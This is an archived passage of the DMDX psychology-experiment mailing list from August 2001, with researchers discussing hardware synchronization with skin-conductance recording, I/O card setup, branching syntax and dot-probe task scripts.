<3.0.5.32.20010813112727.00afd100@pophost.mrc-cbu.cam.ac.uk> Date: Mon, 13 Aug 2001 11:27:27 +0100 To: From: Matt Davis Subject: [DMDX] Re: DMDX synchronization Cc: DMDX@psy1.psych.arizona.edu In-Reply-To: <000c01c12327$d031b5e0$2537e793@site.cas.cz> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 14:10 12/08/01 +0200, Petr Slechta wrote: >Matt, hi again. > >I setting up DMDX for use with simultaneous electrodermal activity >measurement. I have a program starting up DMDX and gathering EDA data in the >background. I am struggling, however, with synchronizing subject responses >with the EDA data. > >I tried to software-generate a mouse click to make a reliable response with >in a identifiable time info (generated by the background application and >intended to be caught by DMDX as a response). Using API functions like >mouse_event, kbd_event, sendinput or Visual Basic SendKeys does not do the >work since they are not registered by DMDX at all. Is there any other way >you would know of? > >Thanks a lot for potential help since this seems to be the only bottleneck >so far. > >Best regard, > >PhDr. Petr Slechta >------------------------------ >Psychologicky ustav >Akademie ved CR >Husova 4 >110 00 Praha 1 > >GSM: +420 606 923 655 >petr.slechta@seznam.cz > Hi Petra, I don't think that I will be much help with this. I've not spent any time working with the innards of DMDX or Windows. I've cc-ed this reply to the DMDX mailing list (which you can subscribe to at dmdx-request@psy1.psych.arizona.edu). Hopefully someone more knowledge than me will have some suggestions. My guess is that what you're trying to achieve - that is running DMDX and EDA recording software on the same pc - is very difficult to achieve. DMDX can get very unhappy (producing display errors and eratic timing) if you're trying to run other software in the background. I think that you would be much better off using two separate PCs, one to record the electrodermal data and one running DMDX. You can ensure that the two machines are synchronised by getting one machine to trigger the other, either using the joystick port or PIO-cards. Does anyone out there with experience of electrodermal data have any concrete suggestions on this topic? Matt **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#266) Fax: 01223 359 062 **************************************************** >From DMDX-owner@psy1.psych.arizona.edu Mon Aug 13 03:29:35 2001 Received: from mps1.leeds.ac.uk (mps1.leeds.ac.uk [129.11.16.8]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id DAA10597 for ; Mon, 13 Aug 2001 03:29:28 -0700 Received: from psychology.leeds.ac.uk (psycho.leeds.ac.uk [129.11.244.14]) by mps1.leeds.ac.uk (8.11.4/8.11.4) with ESMTP id f7DATRr21659; Mon, 13 Aug 2001 11:29:27 +0100 (BST) Message-Id: <200108131029.f7DATRr21659@mps1.leeds.ac.uk> Received: from PSYC/SpoolDir by psychology.leeds.ac.uk (Mercury 1.46); 13 Aug 01 11:22:01 GMT Received: from SpoolDir by PSYC (Mercury 1.46); 13 Aug 01 11:21:53 GMT From: ""TOM CAMPBELL"" To: DMDX@psy1.psych.arizona.edu, Sandrino Marinescu Date: Mon, 13 Aug 2001 11:21:43 +0100 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: [DMDX] Re: DIO24H In-reply-to: <5.1.0.14.2.20010810122416.009e2ec0@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thank you Johnathan. The problem seems to have been that the addresses for the sound card were in conflict with the I/O card. Nonetheless the instacal program verified it was an effective install, despite this apparent conflict of addresses. I just stripped the sound card out as I don't need it for this experiment. The Computerboards CIO-DIO 24/24H, formerly known as CIO- DIO48 is compatible with what is the latest version of DMDX and TimedX. The section of the board that is involved in 5V TTL inputs and outputs (not the 24H bit which are the hi drive channels) has a base address that corresponds to the position of the switches on the board. To those of you interested, the CIO-DIO24 is about half the price of the CIO-DIO 24/24H. Tom. On 10 Aug 01, at 12:43, Jonathan C. Forster wrote: > > ====================================================================== > At 03:16 PM 8/10/01 +0100, you wrote: Dear jcf, > > Just sent the manual for the third time. Hopefully, the fax will have > just got through to you or is half way across the Atlantic. > ====================================================================== > > > It got through ok and unfortunately I don't see anything that would > > indicate the source of your problem. It's nice of them to change the > name of the card from a nice and clear DIO48, it having 48 I/O lines > to DIO24 when DIO24 is the name of a card that actually has 24 lines, > but we'll pass that over. From looking at the manual you have two > 8255 devices in there, one at base + 0 and the other at base + 4, so > if you've set the base at 0x300 one device is at 0x300 and the other > at 0x304. TimeDX can use either device by changing it's base address > appropriately (don't put the 0x in though, just the 300 or 304). > > Are you using the latest TimeDX? IIRC there was some problem with > the > PIO base address but I'm not seeing anything in my comments so it must > have been a real long time ago. > > The only other thing is to check your windows device manager and to > list > devices by I/O port and to see if there's something else using the > 0x300 range. > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > Democracy is a government where you can say what you think even if you > don't think. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email to > be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== Human Factors Section A18 School of Psychology University of Leeds, Leeds LS2 9JT, UK Phone +44 113 233 5724 (School Office) Fax +44 113 233 5749 tomc@psychology.leeds.ac.uk http://www.psyc.leeds.ac.uk/staff/tomc/index.htm >From DMDX-owner@psy1.psych.arizona.edu Mon Aug 13 09:07:13 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA11277 for ; Mon, 13 Aug 2001 09:07:06 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by phobos.email.Arizona.EDU (5.1.056) id 3B7336E50002ECA4 for DMDX@psy1.psych.arizona.edu; Mon, 13 Aug 2001 09:07:04 -0700 Message-Id: <5.1.0.14.2.20010813085521.009e3320@psy1.psych.arizona.edu> Date: Mon, 13 Aug 2001 09:07:43 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: DMDX synchronization In-Reply-To: <3.0.5.32.20010813112727.00afd100@pophost.mrc-cbu.cam.ac.uk > References: <000c01c12327$d031b5e0$2537e793@site.cas.cz> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:27 AM 8/13/01 +0100, you wrote: >At 14:10 12/08/01 +0200, Petr Slechta wrote: > >Matt, hi again. > > > >I setting up DMDX for use with simultaneous electrodermal activity > >measurement. I have a program starting up DMDX and gathering EDA data in the > >background. I am struggling, however, with synchronizing subject responses > >with the EDA data. > > > >I tried to software-generate a mouse click to make a reliable response with > >in a identifiable time info (generated by the background application and > >intended to be caught by DMDX as a response). Using API functions like > >mouse_event, kbd_event, sendinput or Visual Basic SendKeys does not do the > >work since they are not registered by DMDX at all. Is there any other way > >you would know of? There is no way, DMDX uses the lowest layer of input, DirectX, and that's one step above the hardware. All DMDX communication paradigms revolve around the communicatee being on another machine, the only way I can think of doing it would be to wire a signal output from another program to a PIO12 and have DMDX pick the response up that way. In any event, it's usually better to let DMDX be the master timing component in such setups. >My guess is that what you're trying to achieve - that is running DMDX and >EDA recording software on the same pc - is very difficult to achieve. DMDX >can get very unhappy (producing display errors and eratic timing) if you're >trying to run other software in the background. I think that you would be >much better off using two separate PCs, one to record the electrodermal >data and one running DMDX. You can ensure that the two machines are >synchronised by getting one machine to trigger the other, either using the >joystick port or PIO-cards. Agreed. While it's faintly possible that DMDX would function with another data intensive application on a really fast machine, it's not probable and in any event it's performance is sure to be degraded. >Does anyone out there with experience of electrodermal data have any >concrete suggestions on this topic? Yep, buy another machine, buy a PIO12 and wire the input device to both machines with a opto-isolater. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ While it may be true that a watched pot never boils, the one you don't keep an eye on can make an awful mess of your stove. - Edward Stevenson >From DMDX-owner@psy1.psych.arizona.edu Mon Aug 13 15:15:29 2001 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA12020 for ; Mon, 13 Aug 2001 15:15:10 -0700 Received: from a9x0c3 ([137.154.102.54]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with SMTP id f7DMF2u10135 for ; Tue, 14 Aug 2001 08:15:03 +1000 (EST) Message-ID: <001701c12446$5bd9de00$36669a89@a9x0c3> From: ""Arch Tibben"" To: References: <000c01c12327$d031b5e0$2537e793@site.cas.cz> <5.1.0.14.2.20010813085521.009e3320@psy1.psych.arizona.edu> Subject: [DMDX] Re: DMDX synchronization Date: Tue, 14 Aug 2001 08:21:51 +1000 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi I'm very new to DMDX . But trying to do something the same as Petr My experiment includes a stimulus (backward masked) and a dot probe simultaneously recording skin conductance. The problem of recording/synchronizing electrodermal to responses is also a problem that I have. My thinking has been to use two machines but using (wiring) the keyboard (response) of the DMDX machine as an a priori, that is observe/sample the physiological reaction (on the physiological machine) prior to the response. Any further suggestion would be helpful Does any one know whether electrodemal response can be converted and sampled as a digital response? for reliable statistical analysis.? regards Arch Tibben ----- Original Message ----- From: ""j.c.f."" To: Sent: Tuesday, August 14, 2001 2:07 AM Subject: [DMDX] Re: DMDX synchronization > At 11:27 AM 8/13/01 +0100, you wrote: > >At 14:10 12/08/01 +0200, Petr Slechta wrote: > > >Matt, hi again. > > > > > >I setting up DMDX for use with simultaneous electrodermal activity > > >measurement. I have a program starting up DMDX and gathering EDA data in the > > >background. I am struggling, however, with synchronizing subject responses > > >with the EDA data. > > > > > >I tried to software-generate a mouse click to make a reliable response with > > >in a identifiable time info (generated by the background application and > > >intended to be caught by DMDX as a response). Using API functions like > > >mouse_event, kbd_event, sendinput or Visual Basic SendKeys does not do the > > >work since they are not registered by DMDX at all. Is there any other way > > >you would know of? > > There is no way, DMDX uses the lowest layer of input, DirectX, and > that's one step above the hardware. All DMDX communication paradigms > revolve around the communicatee being on another machine, the only way I > can think of doing it would be to wire a signal output from another program > to a PIO12 and have DMDX pick the response up that way. In any event, it's > usually better to let DMDX be the master timing component in such setups. > > >My guess is that what you're trying to achieve - that is running DMDX and > >EDA recording software on the same pc - is very difficult to achieve. DMDX > >can get very unhappy (producing display errors and eratic timing) if you're > >trying to run other software in the background. I think that you would be > >much better off using two separate PCs, one to record the electrodermal > >data and one running DMDX. You can ensure that the two machines are > >synchronised by getting one machine to trigger the other, either using the > >joystick port or PIO-cards. > > Agreed. While it's faintly possible that DMDX would function with > another data intensive application on a really fast machine, it's not > probable and in any event it's performance is sure to be degraded. > > >Does anyone out there with experience of electrodermal data have any > >concrete suggestions on this topic? > > Yep, buy another machine, buy a PIO12 and wire the input device to both > machines with a opto-isolater. > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > While it may be true that a watched pot never boils, the one you don't > keep an eye on can make an awful mess of your stove. > > - Edward Stevenson > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Mon Aug 13 18:07:35 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA12386 for ; Mon, 13 Aug 2001 18:07:26 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by phobos.email.Arizona.EDU (5.1.056) id 3B7336E50003BF07 for DMDX@psy1.psych.arizona.edu; Mon, 13 Aug 2001 18:07:25 -0700 Message-Id: <5.1.0.14.2.20010813180258.009e4040@psy1.psych.arizona.edu> Date: Mon, 13 Aug 2001 18:08:02 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: DMDX synchronization In-Reply-To: <001701c12446$5bd9de00$36669a89@a9x0c3> References: <000c01c12327$d031b5e0$2537e793@site.cas.cz> <5.1.0.14.2.20010813085521.009e3320@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:21 AM 8/14/01 +1000, you wrote: >Hi >I'm very new to DMDX . But trying to do something the same as Petr > My experiment includes a stimulus (backward masked) and a dot probe >simultaneously recording skin conductance. >The problem of recording/synchronizing electrodermal to responses is also a >problem that I have. > >My thinking has been to use two machines but using (wiring) the keyboard >(response) of the DMDX machine as an a priori, that is observe/sample the >physiological reaction (on the physiological machine) prior to the >response. >Any further suggestion would be helpful I find it is easiest to use a PIO12 and have DMDX trigger the electrophysical recording device with the option. Of course, this assumes the other device is capable of being triggered and a lot of them aren't. Under those circumstances either you record DMDX's output pulse with the electrophysical package or you get it to trigger DMDX. Either way you're going to need a technician (that or become technically inclined). >Does any one know whether electrodemal response can be converted and sampled >as a digital response? for reliable statistical analysis.? You mean sampled by DMDX as a vocal response? I doubt it, frequency ranges are too far apart. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ While it may be true that a watched pot never boils, the one you don't keep an eye on can make an awful mess of your stove. - Edward Stevenson >From DMDX-owner@psy1.psych.arizona.edu Mon Aug 13 18:37:09 2001 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA12494 for ; Mon, 13 Aug 2001 18:37:01 -0700 Received: from a9x0c3 ([137.154.102.54]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with SMTP id f7E1asu12572 for ; Tue, 14 Aug 2001 11:36:54 +1000 (EST) Message-ID: <000501c12462$8f4456a0$36669a89@a9x0c3> From: ""Arch Tibben"" To: References: <000c01c12327$d031b5e0$2537e793@site.cas.cz> <5.1.0.14.2.20010813085521.009e3320@psy1.psych.arizona.edu> <5.1.0.14.2.20010813180258.009e4040@psy1.psych.arizona.edu> Subject: [DMDX] Re: DMDX synchronization Date: Tue, 14 Aug 2001 11:43:45 +1000 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Sorry, Jonathan I meant recording a physiological skin response amplitude (analogue) and convering to digtial output. My hope is to record level of skin conductance (have the equipment to do this) and tie this into the keyboard (response) when stimuli is presented ont he moniter. hope it makes sense Arch ----- Original Message ----- From: ""j.c.f."" To: Sent: Tuesday, August 14, 2001 11:08 AM Subject: [DMDX] Re: DMDX synchronization > At 08:21 AM 8/14/01 +1000, you wrote: > >Hi > >I'm very new to DMDX . But trying to do something the same as Petr > > My experiment includes a stimulus (backward masked) and a dot probe > >simultaneously recording skin conductance. > >The problem of recording/synchronizing electrodermal to responses is also a > >problem that I have. > > > >My thinking has been to use two machines but using (wiring) the keyboard > >(response) of the DMDX machine as an a priori, that is observe/sample the > >physiological reaction (on the physiological machine) prior to the > >response. > >Any further suggestion would be helpful > > I find it is easiest to use a PIO12 and have DMDX trigger the > electrophysical recording device with the option. Of course, > this assumes the other device is capable of being triggered and a lot of > them aren't. Under those circumstances either you record DMDX's output > pulse with the electrophysical package or you get it to trigger > DMDX. Either way you're going to need a technician (that or become > technically inclined). > > >Does any one know whether electrodemal response can be converted and sampled > >as a digital response? for reliable statistical analysis.? > > You mean sampled by DMDX as a vocal response? I doubt it, frequency > ranges are too far apart. > > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > While it may be true that a watched pot never boils, the one you don't > keep an eye on can make an awful mess of your stove. > > - Edward Stevenson > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Mon Aug 13 23:05:51 2001 Received: from kupri.pri.kyoto-u.ac.jp (kupri.pri.kyoto-u.ac.jp [130.54.114.4]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id XAA13039 for ; Mon, 13 Aug 2001 23:05:34 -0700 Received: from mail.pri.kyoto-u.ac.jp ([192.168.10.2]) by kupri.pri.kyoto-u.ac.jp (NAVGW 2.5.1.6) with SMTP id M2001081415054121649 for ; Tue, 14 Aug 2001 15:05:41 +0900 Received: from lnc0206.lnf.cnrs-mrs.fr ([172.16.1.8]) by mail.pri.kyoto-u.ac.jp (8.11.1/3.7W) with ESMTP id f7E69YK08737 for ; Tue, 14 Aug 2001 15:09:34 +0900 (JST) Message-Id: <5.1.0.14.0.20010814080249.02600de0@lnf.cnrs-mrs.fr> Date: Tue, 14 Aug 2001 08:06:44 +0000 To: DMDX@psy1.psych.arizona.edu From: fagot Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I have a very naive question, but could not find the answer on the DMDX's web page : can DMDX receive input from a serial port ? thank you in advance >From DMDX-owner@psy1.psych.arizona.edu Tue Aug 14 09:23:20 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA14170 for ; Tue, 14 Aug 2001 09:22:53 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by deimos.email.Arizona.EDU (5.1.056) id 3B75632F0002B173 for DMDX@psy1.psych.arizona.edu; Tue, 14 Aug 2001 09:22:51 -0700 Message-Id: <5.1.0.14.2.20010814091443.009e53b0@psy1.psych.arizona.edu> Date: Tue, 14 Aug 2001 09:24:12 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: DMDX synchronization In-Reply-To: <000501c12462$8f4456a0$36669a89@a9x0c3> References: <000c01c12327$d031b5e0$2537e793@site.cas.cz> <5.1.0.14.2.20010813085521.009e3320@psy1.psych.arizona.edu> <5.1.0.14.2.20010813180258.009e4040@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:43 AM 8/14/01 +1000, you wrote: >Sorry, Jonathan I meant recording a physiological skin response amplitude >(analogue) and convering to digtial output. My hope is to record level of >skin conductance (have the equipment to do this) and tie this into the >keyboard (response) when stimuli is presented ont he moniter. >hope it makes sense Well sure you can do it, if you've got access to an engineer and at least a thousand dollars to build the electronics you'll need. My bet is the easiest thing to do if you want it in real time is to use another machine and write some custom software to digitize and process the conductance data and to then send a signal to DMDX, probably thorough another PIO12 on the digitizing machine and received by another PIO12 in the DMDX machine. That way you don't have to build and pay for irritating fixed function electronics that are almost guaranteed not to do what you want. If you don't have access to an engineer you'll have to process the data off line and integrate that data afterwards. Possibly the easiest way to do that is to get DMDX to play a low frequency tone at the start of each trial and using a spare channel on your electrophysical data recording machine and record that tone, you'll probably need some resistors to lower the signal amplitude. Some digitizing boxes have digital channels which removes the need to use an audio signal, you can just use a PIO12 in the DMDX machine. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ While it may be true that a watched pot never boils, the one you don't keep an eye on can make an awful mess of your stove. - Edward Stevenson >From DMDX-owner@psy1.psych.arizona.edu Tue Aug 14 09:25:38 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA14192 for ; Tue, 14 Aug 2001 09:25:32 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by deimos.email.Arizona.EDU (5.1.056) id 3B75632F0002B2B5 for DMDX@psy1.psych.arizona.edu; Tue, 14 Aug 2001 09:25:30 -0700 Message-Id: <5.1.0.14.2.20010814092429.009f2120@psy1.psych.arizona.edu> Date: Tue, 14 Aug 2001 09:26:51 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Serial port In-Reply-To: <5.1.0.14.0.20010814080249.02600de0@lnf.cnrs-mrs.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:06 AM 8/14/01 +0000, you wrote: >I have a very naive question, but could not find the answer on the DMDX's >web page : can DMDX receive input from a serial port ? No. Do you mean receive a serial word or simply poll the serial control lines? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ While it may be true that a watched pot never boils, the one you don't keep an eye on can make an awful mess of your stove. - Edward Stevenson >From DMDX-owner@psy1.psych.arizona.edu Tue Aug 14 11:57:31 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA14583 for ; Tue, 14 Aug 2001 11:57:15 -0700 From: jasmeet@email.arizona.edu Received: by phobos.email.Arizona.EDU (5.1.056) id 3B7336E50004B516 for DMDX@psy1.psych.arizona.edu; Tue, 14 Aug 2001 11:57:14 -0700 Message-ID: <3B7336E700002D54@phobos.email.Arizona.EDU> Date: Tue, 14 Aug 2001 11:57:13 -0700 Subject: [DMDX] branching To: DMDX@psy1.psych.arizona.edu MIME-Version: 1.0 Content-Type: text/plain; charset=""ISO-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear Jonathon, I need help regarding branching...for my experiment, I will present a picture and the subject needs to decide if they recognize the picture--they have a yes or no option. If they choose yes, a different question will be asked of them on the next screen than if they choose no. For example, I have written this line: +1 ""george bush""/; but I don't know where to go from here. Thank you for your help. Sincerely, Jasmeet >From DMDX-owner@psy1.psych.arizona.edu Tue Aug 14 18:26:23 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA15367 for ; Tue, 14 Aug 2001 18:26:11 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by deimos.email.Arizona.EDU (5.1.056) id 3B75632F000390F2 for DMDX@psy1.psych.arizona.edu; Tue, 14 Aug 2001 18:26:10 -0700 Message-Id: <5.1.0.14.2.20010814182610.009f30c0@psy1.psych.arizona.edu> Date: Tue, 14 Aug 2001 18:27:31 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: branching In-Reply-To: <3B7336E700002D54@phobos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:57 AM 8/14/01 -0700, you wrote: >Dear Jonathon, > >I need help regarding branching...for my experiment, I will present a picture >and the subject needs to decide if they recognize the picture--they have >a yes or no option. If they choose yes, a different question will be asked >of them on the next screen than if they choose no. > >For example, I have written this line: > >+1 ""george bush""/; > >but I don't know where to go from here. Thank you for your help. http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhbranchkeyword.htm Also look at features.rtf in the demo. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ While it may be true that a watched pot never boils, the one you don't keep an eye on can make an awful mess of your stove. - Edward Stevenson >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 15 20:20:38 2001 Received: from sunb.ocs.mq.edu.au (sunb.ocs.mq.edu.au [137.111.1.11]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id UAA18328 for ; Wed, 15 Aug 2001 20:19:49 -0700 Received: from bunyip.psy.mq.edu.au (bunyip.bhs.mq.edu.au [137.111.39.130]) by sunb.ocs.mq.edu.au (8.10.2/8.10.2) with ESMTP id f7G3JlE25849 for ; Thu, 16 Aug 2001 13:19:47 +1000 (EST) Received: from BUNYIP/SpoolDir by bunyip.psy.mq.edu.au (Mercury 1.48); 16 Aug 01 13:23:36 GMT+10 Received: from SpoolDir by BUNYIP (Mercury 1.48); 16 Aug 01 13:23:34 GMT+10 Received: from [137.111.33.171] (137.111.33.171) by bunyip.psy.mq.edu.au (Mercury 1.48) with ESMTP; 16 Aug 01 13:23:29 GMT+10 Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Thu, 16 Aug 2001 13:12:41 +1000 To: DMDX@psy1.psych.arizona.edu From: Amanda Subject: [DMDX] using DMDX for Visual Dot Probe tasks Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I am extremely new to DMDX. I was wondering whether anyone else out there has used DMDX to run a Visual Dot Probe Task (VDP). My searches so far have come up empty. The basic idea is to present pairs of monochrome photographs for 500ms. A probe (either a square or triangle) then occurs in the location of one of the pictures. The subjects task is to press one of two buttons to indicate whether the probe is a triangle or square. Reaction time to the probe is used to infer which picture the subject was looking at. That is, subjects respond more quickly to probes that replace the attended picture than to those that replace the unattended picture. Any feedback would be greatly appreciated. Amanda >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 16 01:22:39 2001 Received: from mps1.leeds.ac.uk (mps1.leeds.ac.uk [129.11.16.8]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id BAA18870 for ; Thu, 16 Aug 2001 01:22:30 -0700 Received: from psychology.leeds.ac.uk (psycho.leeds.ac.uk [129.11.244.14]) by mps1.leeds.ac.uk (8.11.4/8.11.4) with ESMTP id f7G8MTr21549 for ; Thu, 16 Aug 2001 09:22:29 +0100 (BST) Message-Id: <200108160822.f7G8MTr21549@mps1.leeds.ac.uk> Received: from PSYC/SpoolDir by psychology.leeds.ac.uk (Mercury 1.46); 16 Aug 01 09:14:56 GMT Received: from SpoolDir by PSYC (Mercury 1.46); 16 Aug 01 09:14:50 GMT From: ""TOM CAMPBELL"" To: DMDX@psy1.psych.arizona.edu Date: Thu, 16 Aug 2001 09:14:47 +0100 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: [DMDX] Re: using DMDX for Visual Dot Probe tasks In-reply-to: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list am doing this. there's a recent query by a guy doing this with GSR also. search under self-paced dot probe, there's a section of my code there. hope this helps. On 16 Aug 01, at 13:12, Amanda wrote: > I am extremely new to DMDX. I was wondering whether anyone else out > there has used DMDX to run a Visual Dot Probe Task (VDP). My searches > so far have come up empty. > > The basic idea is to present pairs of monochrome photographs for > 500ms. A probe (either a square or triangle) then occurs in the > location of one of the pictures. The subjects task is to press one of > two buttons to indicate whether the probe is a triangle or square. > Reaction time to the probe is used to infer which picture the subject > was looking at. That is, subjects respond more quickly to probes that > replace the attended picture than to those that replace the unattended > picture. > > Any feedback would be greatly appreciated. > > Amanda > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email to > be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== Human Factors Section A18 School of Psychology University of Leeds, Leeds LS2 9JT, UK Phone +44 113 233 5724 (School Office) Fax +44 113 233 5749 tomc@psychology.leeds.ac.uk http://www.psyc.leeds.ac.uk/staff/tomc/index.htm >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 16 15:07:51 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA20592 for ; Thu, 16 Aug 2001 15:07:38 -0700 From: hjweiden@email.arizona.edu Received: by deimos.email.Arizona.EDU (5.1.056) id 3B75632F0006654B for DMDX@psy1.psych.arizona.edu; Thu, 16 Aug 2001 15:07:36 -0700 Message-ID: <3B75633000004158@deimos.email.Arizona.EDU> Date: Thu, 16 Aug 2001 15:07:36 -0700 Subject: [DMDX] reality check To: DMDX@psy1.psych.arizona.edu MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello, I *thought* I knew exactly what my display was doing (looks ok), but the deeper I went into the documentation to be sure, I started to doubt myself. I would be very grateful for a reality check... Hollis Weidenbacher *********************************************** Here is my parameter line with two sample trials: n128 f3 +001 %60 x288 y304 g ""arrow"" / g ""background"", x288 y272 ! g ""image1"" / %0 g ""background"" /x328 y272 ! g ""image2"" / %60 g ""background"" */; +002 %60 x288 y304 g ""arrow"" / g ""background"", x288 y272 ! g ""image1"" / %6 g ""background"" /x328 y272 ! g ""image2"" / %60 g ""background"" */; This is conceptually what I thought it was doing: 